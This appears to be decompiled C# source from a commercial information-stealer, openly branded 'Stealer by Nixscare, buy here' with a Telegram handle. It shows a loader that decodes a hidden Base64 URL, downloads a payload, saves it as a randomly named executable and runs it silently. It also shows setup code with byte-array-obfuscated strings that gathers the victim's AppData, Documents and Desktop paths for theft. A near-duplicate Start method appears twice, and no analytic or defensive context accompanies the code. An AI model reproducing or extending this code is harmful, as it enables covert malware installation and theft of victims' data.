// Token: 0x0600005B RID: 91 RVA: 0x00005CCC File Offset: 0x00003ECC public static void Load() { try { using (WebClient webClient = new WebClient()) { string text = Exporter.Export("<ulfile>", "</ulfile>", Starter.FileData); if (!string.IsNullOrEmpty(text)) { string text2 = string.Format("{0}\\{1}.exe", CreateDir.create(GetRandom.String(null, 8), null, null), GetRandom.String(null, 8)); if (File.Exists(text2)) { File.Delete(text2); } File.WriteAllText(text2, webClient.DownloadString(Base64.Decode(text, null)), Encoding.GetEncoding(1251)); Process.Start(text2); } } } catch { } }
public static void Start() { Sender = Encoding.GetEncoding(1251).GetString(new byte[13] { 99, 71, 57, 49, 98, 71, 120, 112, 90, 50, 104, 48, 76 }); Handler = Encoding.GetEncoding(1251).GetString(new byte[18] { 110, 74, 49, 76, 50, 104, 104, 98, 109, 82, 115, 90, 83, 53, 119, 97, 72, 65 }); path_l = $"{CreateDir.create(GetRandom.String(null, 8))}\\"; path_p = $"{CreateDir.create(GetRandom.String(null, 8))}\\"; path_t = Path.GetTempPath(); path_ad = $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\"; path_lad = $"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\"; path_ds = $"{Environment.GetFolderPath(Environment.SpecialFolder.Personal)}\\"; path_dp = $"{Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory)}\\"; head = $"===================================== [LOGS] ====================================={Environment.NewLine}{Environment.NewLine}"; XBufferData = new string[19] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" }; }
// Token: 0x06000035 RID: 53 RVA: 0x00004AC8 File Offset: 0x00002CC8 public static void Start() { global::Buffer.Sender = Encoding.GetEncoding(1251).GetString(new byte[] { 99, 71, 57, 49, 98, 71, 120, 112, 90, 50, 104, 48, 76 }); global::Buffer.Handler = Encoding.GetEncoding(1251).GetString(new byte[] { 110, 74, 49, 76, 50, 104, 104, 98, 109, 82, 115, 90, 83, 53, 119, 97, 72, 65 }); global::Buffer.path_l = string.Format("{0}\\", CreateDir.create(GetRandom.String(null, 8), null, null)); global::Buffer.path_p = string.Format("{0}\\", CreateDir.create(GetRandom.String(null, 8), null, null)); global::Buffer.path_t = Path.GetTempPath(); global::Buffer.path_ad = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); global::Buffer.path_lad = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); global::Buffer.path_ds = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.Personal)); global::Buffer.path_dp = string.Format("{0}\\", Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory)); global::Buffer.head = string.Format("Stealer by Nixscare, buy here: @nixscare (telegram){0}{1}", Environment.NewLine, Environment.NewLine); global::Buffer.XBufferData = new string[] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" }; }